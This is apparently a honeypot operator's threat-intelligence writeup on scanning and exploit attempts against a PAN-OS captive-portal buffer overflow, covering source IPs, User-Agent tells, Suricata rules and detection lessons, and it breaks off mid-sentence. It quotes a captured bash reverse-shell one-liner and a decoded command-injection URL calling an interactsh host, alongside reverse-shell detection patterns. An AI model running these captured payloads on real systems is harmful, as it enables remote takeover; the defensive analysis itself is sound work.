CVE-2026-0300 — Three Honeypots, the Long Tail of Opportunism, and Zero State Actors
Coverage period: 2026-04-09 → 2026-06-03 (56 days, T+21 post-patch — 3-day silence streak resumed after the T+18 Tor-routed CL=2271 wave; none of the four T+18 Tor exit IPs returned to the captive-portal surface in the 72-hour follow-up window). T−27 backfill from the earliest CL-STA-1132 in-the-wild activity date per Unit 42, through the 2026-05-06 disclosure, the 2026-05-13 first-patch releases, and onward into the post-patch window. Unit 42 notes that exploitation attempts began around 2026-04-09 but confirmed successful RCE occurred roughly a week later; 2026-04-09 is the earliest known probe date, not the confirmed exploitation date. The first real exploit-shape POST against any of our sensors landed on 2026-05-16 02:59 CEST — three days after patch day — see the T+3 addendum below.
Palo Alto Networks disclosed CVE-2026-0300 on 2026-05-06 — a buffer-overflow in the User-ID Authentication Portal (Captive Portal) that allows unauthenticated remote root. The same article that announced it also documented CL-STA-1132, a state-affiliated cluster that had been active against the vulnerability since at least 2026-04-09 — with confirmed successful exploitation following roughly a week later per Unit 42. We did not catch CL-STA-1132, and we did not expect to. State actors with that level of operational discipline do not waste burn-time on three honeypots. The point of this writeup is what we did catch in spite of limited visibility — and what wide-cast detection earned us during the post-disclosure scanning wave.
§ T+16 (2026-05-29) — rondo returns on IoT-router CGI
§ T+17 (2026-05-30) — rondo daytime + quiet again, PAN-OS baseline
§ T+18 (2026-05-30 morning) — CL=2271 rondo-class kit via 4 Tor exits, 3 body sha256s
§ T+21 (2026-06-03) — three-day silence streak resumed, captive-portal back to baseline ↑ latest
The Setup
HoneyLens runs four sensors. One of them — call it sensor3 — sits on a public OVH IPv4 with the captive-portal surface (TCP/4443, 6080, 6082) deliberately exposed. The other two reachable in this window — sensor1 and the LAB sensor — sit on internal networks; their captive-portal surface is bound but not internet-routable. The fourth (sensor2, in a partner office DC) was offline for unrelated reasons through the entire hunt window. So this writeup covers what one public-internet honeypot saw between 2026-04-09 (earliest CL-STA-1132 probe date per Unit 42; confirmed successful exploitation roughly a week later) and 2026-05-13 (patch day), with two internal sensors as control surfaces.
If you came here expecting CL-STA-1132 IOCs from our infrastructure, you can stop reading. State-affiliated clusters with the operational discipline that PA attributed to this actor — nginx-worker shellcode injection, crash-log clean-up, AD enumeration, EarthWorm and ReverseSocks5 deployment for lateral movement — do not waste burn-time on three honeypots. They hit the real PA firewalls they identified in advance, log into them quietly during business hours, leave, and erase the trace. A honeypot's job during a campaign like this isn't to catch the apex actor. It is to catch the tail: the opportunistic re-runs, the script-kiddie bouncing the public PoC at every captive portal Shodan can find, the half-built scanners that leak unmistakable strings, and the operators who confuse signal for noise by routing through residential VPN exit nodes. That is where wide-cast detection pays off, and that is what this writeup is about.
What the Public PoCs Look Like (And Why They Don’t Actually Work)
Within hours of the CVE being published, two PoCs landed on public GitHub:
| PoC | Body shape | Content-Length | Tail |
|---|---|---|---|
qassam-315/PAN-OS-User-ID-Buffer-Overflow-PoC |
2,048×0x41 + 0xdeadbeef + 64×NOP |
2248 | 128×0xcc (INT3 — not shellcode) |
p3Nt3st3r-sTAr/CVE-2026-0300-POC |
2,048×0x41 + 0xdeadbeef + 128×NOP |
2279 | msfvenom linux/x64/shell_reverse_tcp (~95 B) |
Both have the same fundamental problems against a real PA build: they target
/php/login.php (the management UI login) rather than the Authentication
Portal endpoints that PA’s advisory describes as the attack surface; the official
advisory names “specially crafted packets” to the Authentication Portal
service without specifying a precise path, and we have not yet seen the patch diff to
confirm the exact handler. /php/uid.php is the plausible candidate given
the User-ID component name, but that is a hypothesis, not a confirmed fact. They also ship plaintext
HTTP at TCP/6082, which is the HTTPS captive-portal redirect port; the body
declares application/x-www-form-urlencoded but is mostly raw binary; and
the placeholder 0xdeadbeef return address means even on a hypothetical
exploitable build, no actual code execution would occur. None of which mattered:
within 6 hours of qassam-315 publishing, sensor3 took its first byte-perfect copy.
Two Confirmed Exploit Attempts (qassam-315, byte-perfect)
Both fired the script unmodified at sensor3. Different actors, different countries, ~21 hours apart:
| # | Source IP | ASN / Org | Country | Timestamp (CEST) | Port |
|---|---|---|---|---|---|
| 1 | 42.105.160.225 |
AS38266 Vodafone Idea Ltd | IN | 2026-05-06 08:50:29 | 6082 |
| 2 | 198.176.52.204 |
AS400618 PRIME-SEC (allocated 2023-09-05) | US | 2026-05-07 05:03:30 | 4443 |
On a real PAN-OS firewall, neither attempt could have exploited anything — for the
reasons in the previous section. On our honeypot, also nothing — there is no real
PAN-OS code path behind /php/login.php for the BoF to land on. The
honeypot accepts the request, records the bytes, returns a stock JSON success response,
and adds the IP to the hunting list.
Worth being honest about: actor #2 surfaced retroactively only because we widened the time window during a backfill — chained delta queries had walked right past it. Lesson written into our process: delta queries should overlap their predecessor's cutoff by at least 6 hours, not chain cleanly at the boundary.
One CVE-Aware Enumeration Scanner (Tells You Its Name)
On 2026-05-06 13:35-13:36 — about 5 hours after the CVE was published, and 5 hours after
the first qassam firing — sensor3 took 47 GET probes from 42.116.36.252
(AS18403 FPT Telecom, Vietnam) in a single 30-second burst. They hit /php/login.php,
/php/uid.php, /portal/, /auth/, /guest/, and (sic)
/captivedportal/. Every single request advertised the User-Agent string:
This is the good kind of operational mistake. Whoever wrote this scanner literally
named their tool after the CVE in the UA. There is no benign product in the world that
calls itself a CVE-checker — that string in an HTTP request is unambiguous. We added a
generic detection pattern Mozilla/.*\(CVE-\d{4}-\d{4,5}-Checker\) at the same
time the IP went on the hunting list, on the assumption that the same template will get
reused for the next CVE this actor cares about. The /captivedportal/ typo
is also informative: the scanner-writer was operating from memory, not from documentation.
Four UA-Rotation Evasion Campaigns
Between 2026-05-07 and 2026-05-08 we observed four distinct campaigns whose calling card
is the same: GETs to /php/login.php or /php/uid.php from a single IP
cycling through a UA pool that includes obviously-impossible browser versions. The point
is to defeat naïve UA-based filters that allow-list "modern Chrome / Firefox" but don't
sanity-check the version field.
| Cluster | IPs | ASN | UA tells |
|---|---|---|---|
| Hosteons SG | 82.29.128.215, 103.114.163.177 |
AS142036 | Edge 147 + Firefox 7.0 (released 2011) + Chrome 103 macOS — 9 UAs in 30 min from one IP |
| Algeria Telecom | 154.121.97.241 |
AS327712 | Edge 147 + Chrome 147 Android + Firefox 3.6.7 (released 2010) |
| Deutsche Telekom DSL | 87.170.154.90, 84.190.163.237 |
AS3320 | Firefox 150.0 — a version that does not exist (current is ~130) |
| China Unicom | 116.178.130.136, 27.8.127.145 |
AS4837 | Identical Chrome 49 (released 2016) UA, hit same path 6 sec apart — coordinated probe pair |
None of these progressed to oversize POSTs, shellcode-shape bodies, or anything else exploit-flavoured. They are all in enumeration mode — building target lists. But they are not Censys / Shodan / Driftnet / Modat: none of those research scanners would ever advertise Firefox 3.6.7. These are bespoke tools built specifically for the CVE-2026-0300 wave by operators who decided to invest in evasion before they invest in actually exploiting anything. The two-IP clusters (Hosteons, DTAG, China Unicom) are a notable signal — same campaign distributed across multiple residential or SMB connections to bypass per-IP rate limits.
One Cross-Sensor Scanner
On 2026-05-08 between 01:20 and 03:17 (under two hours), 130.94.90.164
(AS154177 LIGHT NODE LIMITED HK) hit two of our sensors with the same Chrome 92 + Edg 92 UA.
This is the first IP we've seen post-disclosure that's running a sweeper against multiple
distinct targets in our address space inside a tight window. They didn't fire the exploit;
the activity was GET-only enumeration. But the cross-sensor footprint upgrades them from
"scanner" to "scanner with a target list" — the difference between someone running
ProjectDiscovery against the entire IPv4 space and someone running a tool against a
curated set.
Detection Coverage We Ended Up With
The detection rule set deployed on 2026-05-06 (one hour after the first qassam firing — uncomfortable but worth being honest about) and refined through 2026-05-08:
| Layer | Rule / change | Catches |
|---|---|---|
| AI classifier | paloalto_cve_2026_0300_qassam_poc |
Forensic ID for the qassam variant (CL=2248 + URI match) |
| AI classifier | paloalto_captive_portal_long_a_run |
≥256 'A' run on captive-portal POSTs — variant-agnostic |
| AI classifier | paloalto_captive_portal_oversize_post |
Content-Length ≥ 2000 on captive-portal endpoints — generic |
| Suricata | sid 9026300 — qassam fingerprint (NOP+INT3 hex) |
Forensic ID, byte-precise on the original PoC |
| Suricata | sid 9026301 — generic A-run on captive-portal ports |
Catches qassam + p3Nt3st3r + variant copy-pastes |
| Suricata | sid 9026302 — plaintext HTTP on TLS port 6082 |
PoC tell — no real client sends plaintext to a TLS port |
| Suricata | sid 9026303 — oversize POST (≥2 KB) to /php/(login|uid|captiveportal).php |
Generic anomaly on captive-portal endpoints |
| Suricata | sid 9026304 — /bin/sh\0 shellcode marker in any captive-portal POST body |
Catches p3Nt3st3r + future ROP-based bodies that drop 'A' padding |
| Capture path | eBPF kernel-side payload sample 16 B → 256 B | Per-CPU scratch map; bulk bpf_skb_load_bytes |
| Capture path | Userspace ingest cap 4 KB → 16 KB | Headroom for jumbo / GRO — no current traffic was being clipped |
| Capture path | Honeypot raw POST body capture (base64, 8 KB cap) | TLS-protected captive-portal traffic terminates at the honeypot — eBPF/PCAP path sees only encrypted bytes for those connections; without honeypot-side body capture, the binary tail of any future BoF lands nowhere queryable |
What This Hunt Taught Us
Three operational lessons that generalise beyond this CVE:
- Wide-cast generic rules earn their keep. The qassam-specific Suricata rule (sid 9026300) triggered exactly twice — on the two firings already documented. The generic A-run rule (9026301), the oversize-POST rule (9026303), and the
/bin/sh\0rule (9026304) catch those plus the p3Nt3st3r variant plus a hypothetical custom-padding-byte variant plus the next copy-paste with a different Content-Length. Diagnostic-grade rules are useful for IDing which PoC ran. Variant-agnostic rules are what you'll still rely on six months from now. - The implausible-version UA is a hard signature. Our four UA-rotation campaigns all leak some impossible browser version (Firefox 3.6.7, Firefox 7.0, Firefox 150.0, Chrome 49). A regex catching
Firefox/[12]?[0-9]\bon captive-portal endpoints — i.e. Firefox versions ≤ 30 in 2026 — has essentially zero false-positive risk and instantly segments these scanners away from legitimate-recon noise. Same logic applies to Chrome 49 and Edge 92. - Process discipline beats query complexity. The second qassam firing was missed by three consecutive delta sweeps that all chained their cutoffs cleanly. A row landing at 05:03:30 was outside the 16:00 cutoff, the next sweep started at 09:07, and it fell through the seam. The retroactive backfill caught it on a wider window. The fix is not better queries; it is better hygiene — every delta should overlap its predecessor's cutoff by ~6 hours, and any significant finding should always trigger a wider re-check.
What We Were Watching For — and What Happened
Before the patch dropped on 2026-05-13 we predicted three things. One landed exactly as written. Two did not materialise — at least not on our surface.
- Actual exploit details surface. ✓ The patch is public. We have not yet done the diff to confirm which form field is gated and what the body-size cap looks like in the patch. The qassam-specific rule (9026300) can be replaced with a byte-precise rule once that analysis is done. The generic rules stay regardless.
- A second wave of public PoCs targeting the correct Authentication Portal endpoint. Not observed in our window. As of patch-day evening, zero POST bodies with exploit shape on any of our three sensors. The operators who might generate that wave haven’t shown up yet. They may still come, but the inflection we expected — the transition from pre-patch enumeration to post-patch exploitation — arrived as a silence, not a wave.
- The tail of opportunism continuing. Partially.
The Censys, Dshield-listed, and generic VPN-appliance sweepers are still active. The actual
exploitation-intent operators — everyone who had CVE-shaped traffic in the pre-patch
window — withdrew cleanly on patch day. The tail is generic scanner noise, not
CVE-2026-0300-specific opportunism. The
(CVE-2026-0300-Checker)UA pattern has not been seen since 2026-05-11.
And no, we did not see CL-STA-1132. That was never the point.
Post-Disclosure Addendum — 2026-05-09 to 2026-05-12 (T+3 to T+6, patch eve)
Four days of observation between the original 30-day backfill closing on 2026-05-08 and the
vendor patch landing tomorrow on 2026-05-13. Three threads run across the stretch: a
byte-shape-novel exploit attempt and a detection-gap incident drove a wave of
grid-hardening (Suricata HOME_NET fix on sensor3, file-store v2, two new
TCP-layer SIDs, an HTTP detection-port adjustment); two CVE-aware reconnaissance
bursts confirmed at least two distinct actors are pre-positioning ahead of the patch
with discipline good enough to read the vendor advisory and target Authentication Portal
paths (including /php/uid.php) rather than the public-PoC endpoint (/php/login.php);
and on 2026-05-12, SID 9026305 fired on real attacker traffic for the first time,
validating the design rationale we wrote when the rule landed two days earlier. Plus operational
sundries: sensor2 captive-portal coverage restored after a firewalld misconfig diagnosis was
corrected, the fake-Firefox-150 cluster pivoted off PAN-OS onto Kubernetes endpoints, an
AS212512 cluster joined hunting-list MEDIUM, and two coordinated subnet-level scanner clusters
(Aeza /22 and a China-Mobile-shaped /24) became visible cross-sensor.
§ 2026-05-08 → 09 · third PoC variant fires, HOME_NET fix, file-store v2 lands
Third PoC variant fired on sensor3 + sensor1.
165[.]22[.]26[.]204 (AS14061 DigitalOcean, Frankfurt DE) hit sensor3 on 2026-05-08 22:07 with a
POST /php/login.php body of Content-Length 2120 — neither qassam-315 (CL=2248)
nor p3Nt3st3r-sTAr (CL=2279). The same IP also hit sensor1 within one second — first cross-sensor
exploit-shape probe in this fleet. Sophistication tell: the actor opened two parallel sockets (TLS 1.3
handshake on port 50546, JA3 7587a1ac9a4f17b4e4e5fe226716f4df — Go-stdlib-shaped — plus
a separate plaintext POST on port 50548). The TLS-then-plaintext-fork bypasses JA3 fingerprinting of the
BoF connection itself. Suricata SIDs 9026301 + 9026303 fired on sensor1 cleanly;
on sensor3 they did not — root cause traced to sensor3's Suricata HOME_NET
not including its own public IP 192[.]99[.]7[.]225/32, which had silently broken every
$EXTERNAL_NET → $HOME_NET rule on that sensor since deployment 2026-05-06. Fixed 2026-05-09 14:26;
the next synthetic qassam-replay produced all four expected SID firings. The full binary suffix of
the 165.22.26.204 body was unrecoverable — Suricata's file-store output was
disabled, and the eBPF userspace path stores payload as Postgres TEXT, lossy-
converting bytes > 0x7F to U+FFFD before write. Forensic dead-end for that one firing.
Suricata file-store v2 + new SID 9026310 deployed across the fleet.
The new rule fires the filestore keyword on any POST to
/php/*, /global-protect/*, /ssl-vpn/*, /unauth/* on
captive-portal ports — routing the body through libhtp's file-extract pipeline, which is independent
of the rule-eval http.request_body buffer (the path that quietly fails on stream-timeout flows).
End-to-end verified by replaying a synthetic qassam-shaped POST: body landed at
/var/log/suricata/filestore/c2/c2c5779368…d45, 2,248 bytes, byte-perfect including the
canonical qassam suffix ef be ad de 00 00 00 00 + 64×0x90 + 128×0xcc. 30-day prune timer
(suricata-filestore-prune.timer) running on each sensor. The next BoF firing will leave a
forensic trail.
Fake-Firefox-150 UA cluster grew to 4 IPs / 3 ASNs and pivoted off captive-portal.
New member 206[.]72[.]200[.]66 (AS19318 Interserver US) on 2026-05-09 morning, then
77[.]243[.]184[.]190 (AS9009 M247 Zurich CH) on 2026-05-10. M247 CH hit sensor3's Kubernetes
honeypot endpoints (TCP/6443 + 30000), not /php/*. Same impossible
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 UA template across
all four members (DTAG DE × 2, Interserver US, M247 CH). The pivot off captive-portal onto k8s suggests the
fake-Firefox-150 UA template has been forked into multiple campaigns by the same operator group — not
necessarily a PAN-OS-specific signature anymore.
New AS212512 (Detai Prosperous, SG/US) cluster, cross-sensor with sustained burst.
Started 2026-05-09 evening with 3 IPs (45[.]82[.]78[.]109, 45[.]82[.]78[.]103,
45[.]131[.]155[.]111) on sensor3 port 6082 only, low-rate. By 2026-05-10: 5 IPs across two /24s, hitting
sensor3 + sensor1, multiple ports. 45[.]82[.]78[.]109 alone fired 36 GETs of /php/login.php
on sensor1 over a 1-hour sustained burst (08:08–09:08 CEST). The cross-/24 burst at 08:08 (four IPs in
4 seconds) is a target-list-driven sweep with rate distributed across the operator's pool to evade per-IP
limits. Still GET-only, no exploit shape; promoted from watch-only to hunting-list MEDIUM
with tag as212512-detai-prosperous.
Sensor2 captive-portal coverage restored. Sensor2 went dark
2026-05-09 morning after a NIC-driver hang on its host. The diagnosis at the time pinned it on an
upstream-firewall DNAT issue. That diagnosis was wrong. The actual root cause was on sensor2 itself:
its persistent firewalld public zone was missing 4443/6080/6081/6082/tcp (and
many other honeypot ports). External SYNs were silently dropped before reaching the listening sockets.
After the 2026-05-09 reboot, firewalld came up with the persistent zone config — which simply never had
those ports added. Re-opened on 2026-05-10; sensor2 logged 35 captive-portal events from 9 unique src IPs
in the first 12 h post-fix. Operational lesson: persistent firewalld must cover every port the
honeypot binds, and the sensor's install.sh should auto-add and verify them at
boot so future reboots cannot regress this.
Detection grid stayed silent on real traffic for 4 days running. Zero qassam (CL=2248),
zero p3Nt3st3r (CL=2279), zero CL=2120, zero /bin/sh\0 markers, zero msfvenom prologue,
zero (CVE-2026-0300-Checker) UA, zero paloalto_* AI-classifier hits, zero
Suricata 9026300-9026310 firings on real traffic between 2026-05-09 14:26 (HOME_NET fix) and now. The
synthetic verification tests are the only HONEYLENS-rule entries in sensor3's DB. Patch day on 2026-05-13
is the expected inflection point.
§ 2026-05-10 → 11 · the missed reverse-shell, two new TCP-layer SIDs, second self-doxxing scanner
A real reverse-shell attempt slipped past our HTTP rules.
At 2026-05-10 19:08, 94[.]198[.]216[.]188 opened a TCP/4443 connection to sensor3 and sent 2,120 'A' bytes at the start of the stream, followed by a pipelined POST /php/login.php whose 44-byte body was bash -i >& /dev/tcp/94[.]198[.]216[.]188/4444 0>&1 — the canonical Linux reverse-shell one-liner, pointed back at the attacker's own IP. The eBPF capture caught the bytes verbatim. Our Suricata rules missed it: the engine classified the flow as app_proto:tls (probably mistook the early A-run garbage for a TLS handshake), so every alert http rule we had — SIDs 9026301 (long A-run), 9026303 (oversize POST), 9026310 (filestore) — never engaged. Zero fast.log entries, zero file-store activations.
Three fixes deployed at 2026-05-10 23:04 across sensor1 / sensor2 / sensor3:
- SID 9026305 —
alert tcprule matching a 256-A run anywhere in a TCP stream on captive-portal ports. Independent of Suricata's HTTP parser, so it fires whether the engine thinks the flow is HTTP, TLS, or unknown. - SID 9026306 —
alert tcprule matchingbash -i >&followed by/dev/tcp/within 30 bytes. Zero benign-traffic false-positive risk on a PAN-OS captive-portal surface. - Suricata config: add captive-portal ports (4443, 6080, 6081, 6082) to
app-layer.protocols.http.detection-ports.dp. Forces the HTTP parser to attempt parsing every flow on those ports even if early bytes look TLS-ish — without this the protocol detector locks in TLS on bytes like the 94.198.216.188 A-preamble and never re-evaluates.
End-to-end verified with a synthetic replay of the 94.198.216.188 attack shape: both new rules fired on the first try, and the existing qassam-replay still triggers 9026303 + 9026310 as before. 94[.]198[.]216[.]188 added to the hunting list HIGH/ACTIVE with tags cve-2026-0300-shotgun, bash-revshell, confirmed-exploit-attempt. The IP has not returned at any point through patch eve; the watch is live.
Second self-doxxing CVE scanner: 23[.]234[.]97[.]58 (AS11878 tzulo, inc., US Leesburg).
352-event burst on sensor3 between 2026-05-11 07:29 and 08:33 CEST. Every request advertised the User-Agent panos-cve-2026-0300-exposure-survey/1.0 — the operator literally named the CVE in their User-Agent. The first self-doxxing scanner of this campaign was 42[.]116[.]36[.]252 (FPT Vietnam, UA Mozilla/5.0 (CVE-2026-0300-Checker)) on 2026-05-06. Different operator, same OPSEC failure pattern. Worth a generalised rule:
re_ua ^(?:panos-cve-\d{4}-\d{4,5}-|CVE-\d{4}-\d{4,5}-Checker)
Two things distinguish 23[.]234[.]97[.]58 from the rest of the post-disclosure scanner pool:
- They probe Authentication Portal paths, not the management UI. Every public PoC of CVE-2026-0300 hits
/php/login.php(the PAN-OS management UI login). PA’s advisory describes the attack surface as the Authentication Portal service, not the management UI — public PoC authors appear to have guessed the wrong endpoint.23[.]234[.]97[.]58probes/php/uid.phpand/php/uidlogin.php(both Authentication Portal paths), plus/sslmgrand/global-protect/login.esp./php/uid.phpis a plausible candidate for the vulnerable handler — it is consistent with the “User-ID Authentication Portal” component name — but we have not confirmed this against the patch diff. What we can say is this operator is targeting the right service, not just the well-known management-UI endpoint. They either read the advisory carefully or have access to non-public technical detail. - They built a bespoke tool. The UA
panos-cve-2026-0300-exposure-survey/1.0is not curl/wget/Nmap/Masscan/ZGrab/Nuclei. Someone wrote a scanner specifically for this CVE.
All requests were GET or OPTIONS — pure enumeration, no exploit-shape POST. Our detection rules correctly didn't fire (they require POST + oversize body or shellcode-shape content). Hunting-list HIGH/ACTIVE with tags cve-2026-0300-recon, exposure-survey-ua, correct-cve-endpoint. Two interpretations, both worth holding open: legitimate security-research firm building exposure inventory ahead of patch day, or pre-positioning by an offensive operator building a target list for post-patch exploitation. Same scanner shape, only the intent differs. The disambiguating signal is whether the same IP (or any IP from AS11878) returns post-patch with exploit-shape POSTs. If yes, offensive. If no, likely benign survey.
Five days post-disclosure, two days to vendor patch. The detection grid has stayed silent on real exploit-shape activity the entire window. The two confirmed exploit attempts from week one were both unmodified public-PoC firings (2026-05-06 / 2026-05-07); the one byte-shape-novel BoF (165[.]22[.]26[.]204 CL=2120 on 2026-05-08) was a one-off; the bash-reverse-shell attempt (94[.]198[.]216[.]188 2026-05-10 19:08) was a shotgun probe whose payload would not have worked against a real PAN-OS box (wrong endpoint, wrong protocol). What we are watching for is the post-patch inflection: when the vendor publishes patch detail, the operator pool will get the precise vulnerable form-field name to target. The qassam-specific rule retires then; the byte-precise replacement gets written against the actual vulnerable parameter. The wide-cast rules (long A-run, oversize POST, bash reverse-shell, file-store) stay.
§ 2026-05-11 → 12 · first real-attacker firing of SID 9026305, cross-sensor cluster patterns, patch eve
First real-attacker firing of SID 9026305: 54[.]37[.]228[.]84 (AS16276 OVH SAS, Roubaix FR).
The IP ran a 9-hour sustained scan against sensor1’s captive-portal surface
(TCP/4443) between 2026-05-11 21:24 and 2026-05-12 06:31 — 927 events, 645 of which were
HTTP GETs with URLs in the 321–798 byte range. The rule fired 4× on the long
A-run inside one specific URL shape, and SID 9026310 (forensic file-store) caught 2 of those
bodies for the archive.
The triggering URL is unusually informative. Decoded:
/\x04\xD7\x7F\xBF\x18\xD8\x7F\xBF\x18\xD8\x7F\xBF\x08\xB7\x06\x08 ← pointer chain (i386 stack + .text)
;{curl,http://d805vrko3341k673r3qgi1hi1by4cprd9.oast.site ← brace-expansion command injection
-H 'User-Agent: 8b2lFZ'}; ← with interactsh OOB callback token
?AAAA...(518 A’s)...AAAA ← this is what tripped SID 9026305
That’s a hybrid three-class probe in one URL: an i386 stack-pointer
chain at the head (return-to-libc shape, addresses like 0xBF7FD818 and
0x0806B708 consistent with a guessed i386 stack location and an ELF
.text landing site), a brace-expansion-as-IFS-bypass command-injection middle
(;{curl,$URL,-H,$arg}; works around system() callers that
whitelist a single command but leave argv unsplit), and a 518-byte A-run filler in the
query string for generic stack overflows. The oast.site domain is
ProjectDiscovery’s interactsh OOB-detection service: if any of the
three classes succeeds and triggers curl, the attacker’s interactsh server logs the
DNS lookup and confirms RCE. The token shape
(d805vrko3341k673r3qg...) is the literal output of the Nuclei interactsh
client.
This is not a CVE-2026-0300 attack. Wrong endpoint (/, not
the Authentication Portal surface). Wrong shape (GET, not POST). Wrong architecture (i386 stack
pointers on a 64-bit PAN-OS appliance — the addresses would land nowhere useful).
It’s an opportunist running Nuclei with the kitchen-sink template set against an
Internet-wide scan, hitting captive-portal candidates with “fuzz everything that
looks like a web app”. Could be a research team. Could be a low-skill adversary
running off-the-shelf tooling. The OVH-Roubaix-VPS-as-scanner-platform pattern is
consistent with either.
Why the firing validates the design. When we wrote SID 9026305 on 2026-05-10 (after the 94.198.216.188 incident missed our HTTP rules because Suricata classified the flow as TLS), the rationale was: an A-run is cheap to detect at the TCP layer, so let’s match below the HTTP parser and accept the false-positive shape of catching any long-A query string. The 54.37.228.84 firing on 2026-05-12 is the first real example of that trade-off. The signal-to-noise on the rule is fine: four firings in six days, all from a real attacker hitting our captive-portal surface with malicious content. Nuclei traffic on captive-portal ports is worth flagging on its own merits, and the HTTP-layer rule was correctly silent because the request is GET (not POST).
Coordinated scanner clusters cross-sensor. Two distinct subnet-level patterns visible on multiple sensors in the same window:
- Aeza — AS210644 AEZA INTERNATIONAL LTD,
87[.]236[.]176[.]0/22. 26 distinct IPs on sensor3 (164 events) and 43 distinct IPs on sensor1 (109 events), per-IP volume 5–25 events. Tight TCP/4443 targeting, small TLS handshakes, no HTTP bodies. AEZA INTERNATIONAL operates VPS infrastructure widely repurposed as a scan-source by abuse-tolerant tenants. - China-Mobile-shaped —
106[.]63[.]26[.]0/24. 14 distinct IPs on sensor3 (125 events), per-IP volume 3–22 events. Same TLS-fingerprint shape. Likely a CN-side scanning service or threat-intelligence inventory pass.
Per-IP attacker profiles miss the cluster shape. The next iteration of hunting tags will land at the subnet level (Aeza /22, China-Mobile /24, Stark Industries AS44477+AS204957) rather than tracking 70-plus individual IPs.
Other notes. 23[.]234[.]97[.]58 (the tzulo
exposure-survey scanner from 2026-05-11 morning) did return for a brief 5-minute
follow-up burst at 2026-05-11 10:18 right after the morning's review went out, then went silent. TLS handshakes
only, no HTTP this time. 94[.]198[.]216[.]188 (the bash-reverse-shell
attempt from 2026-05-10) still hasn’t returned. Sensor2 (PROD)’s top scanner
of the window was 159[.]65[.]237[.]176 (DigitalOcean, 168 events on
TCP/4443) advertising a 2015-era fake-Firefox-41-on-Android-4.4-KitKat User-Agent —
pure TLS-fingerprint scan, no exploit shape.
Patch lands the next day, 2026-05-13. The post-disclosure scanner pool will pivot once the vendor publishes patch detail and the precise vulnerable form-field name leaks. The qassam-specific rule retires then; the byte-precise replacement gets written against the actual vulnerable parameter. The wide-cast rules (long A-run, oversize POST, bash reverse-shell, file-store, self-doxxing CVE-UA) stay. Six days of silent grid is six days of confirmation that the actual CVE-2026-0300 detection (SIDs 9026300–9026304, 9026306) is still untested in production — expecting an inflection on 2026-05-13.
§ 2026-05-12 → 13 · patch day — inflection confirmed, exploitation window closes
Patch landed. Exploitation-intent traffic dropped to zero the same day. Across all three sensors in the 37-hour window from 2026-05-12 08:30 CEST through 2026-05-13 21:45 CEST: zero HONEYLENS SID firings (9026300–9026307, 9026310). Zero oversize POST bodies. Zero shellcode content. Zero bash-reverse-shell commands. SID 9026307 (self-doxxing CVE-UA rule, deployed 2026-05-12 13:29 CEST) ran its first full day of production coverage with no hits — no operator is advertising CVE-2026-0300 in their User-Agent string on patch day.
China-Mobile /24 cluster went dark on patch eve.
106[.]63[.]26[.]0/24 — the most consistent presence across all seven
pre-patch observation days, visible on both sensor1 and sensor3 every single day since
disclosure — made a final burst of 14 IPs on sensor1 between 18:00 and 20:12 CEST on
2026-05-12, then stopped. Not seen on any sensor since. It was not present on sensor3 or
sensor2 during the patch-day window at all. The Aeza /22 cluster continued as background
noise, confirming this is not a fleet-wide withdrawal: the China-Mobile pattern had
CVE-specific intent, the Aeza pattern is generic scan infrastructure.
All tracked exploitation-intent IPs absent.
23[.]234[.]97[.]58 (exposure-survey, last seen 2026-05-11 10:23 on sensor3),
94[.]198[.]216[.]188 (bash reverse-shell, last seen 2026-05-10 19:11 on sensor3),
42[.]116[.]36[.]252 (FPT CVE-Checker, last seen 2026-05-06), and
54[.]37[.]228[.]84 (OVH Nuclei probe, last seen 2026-05-12 06:31) —
none returned on any sensor during the patch-day window. The only watch open is whether
any of them return post-patch with exploit-shape POSTs (especially 23[.]234[.]97[.]58,
which targeted Authentication Portal paths (consistent with the actual CVE surface) and may represent a pre-positioning pass for
post-patch exploitation against unpatched instances). As of patch-day evening, silence.
Cross-sensor pattern of the day: 65[.]49[.]1[.]0/24 rolling VPN sweep.
Dshield-listed /24 hit all three sensors at staggered times over ~10 hours, using different
/28 fragments on each sensor: sensor1 at 04:00–06:00 CEST (.232/.234/.237/.238/.239/.241),
sensor3 at 07:00–16:00 (.151/.152/.153/.154/.155/.159/.174), sensor2 at 14:00–15:00
EDT (.52/.53/.55/.59/.60/.65). Paths: /vpn/index.html and
/logon/LogonPoint/index.html (Citrix NetScaler fingerprint) plus raw TLS garbage.
This is a systematic Citrix/VPN-appliance sweep rotating source addresses to avoid per-IP
rate limits — not PAN-OS-specific. The same /24 touched all three of our distinctly-routed
sensors in sequence, which is the most structurally interesting cross-sensor pattern of the day.
What the background layer looked like without the CVE operators. Once exploitation-intent traffic clears, the captive-portal surface gets exactly what generic internet background scanning produces:
- Censys Inspector crawling
/php/login.phpexplicitly (66[.]132[.]186[.]201 on sensor2, UA:CensysInspect/1.1). Censys has the captive-portal login path in its crawl template. This will continue indefinitely regardless of patch status. - TLS fingerprinters sending ClientHello with the sensor’s own IP as SNI (85[.]217[.]140[.]3 on sensor2). Standard cipher-suite inventory pass.
- Multi-protocol ICS scanner (45[.]79[.]115[.]117 on sensor3, 69 events):
Niagara Fox protocol handshake, MQTT, RTSP, MongoDB
$cmd isMaster— all on TCP/4443. This scanner treats the port as a multi-protocol opportunistic surface, not a PAN-OS surface. - GET-only PAN-OS recon (93[.]123[.]109[.]125 on sensor3, 97 events):
GET /→GET /php/login.php→GET /favicon.icowith a generic Linux Firefox UA. No exploit shape. Cataloguing which ports present PAN-OS login pages. - Dshield-listed generic scanners (65[.]49[.]1[.]0/24, 66[.]132[.]x[.]x families) probing VPN and remote-access paths across every sensor.
Final assessment on the CVE-specific detection rules. SIDs 9026300–9026304 (the exploit-body rules) never fired on real traffic across seven days of coverage. The actual CVE-2026-0300 attack shape — a correctly-formed oversize POST to the Authentication Portal service — was not observed in the wild on our sensor surface during the pre-patch window. The rules that did earn their keep were the generic and structural ones: 9026305 (TCP-layer A-run, caught the Nuclei hybrid probe and the bash-reverse-shell preamble), 9026306 (bash reverse-shell), 9026307 (self-doxxing UA). The forensic file-store rule (9026310) produced recoverable bodies from the 54.37.228.84 Nuclei run. The inference: if real CVE-2026-0300 exploitation was happening during this window, it was happening against targets that are not visible to three honeypots — not against the mass-scan pool our sensor surface captures.
§ 2026-05-14 → 16 · T+3 post-patch — the silence ended at 02:59 CEST on day three
First real exploit-shape POST observed.
At 2026-05-16 02:59:38.877 CEST, a single source IP —
124[.]198[.]131[.]185 on AS210558 (1337 Services GmbH, a bulletproof / anonymising
VPN host) — sent a POST /php/login.php HTTP/1.1 to sensor3 on TCP/6082
with a 2 271-byte body and the User-Agent
Mozilla/5.0 ([email protected]). One flow, two packet groups, six
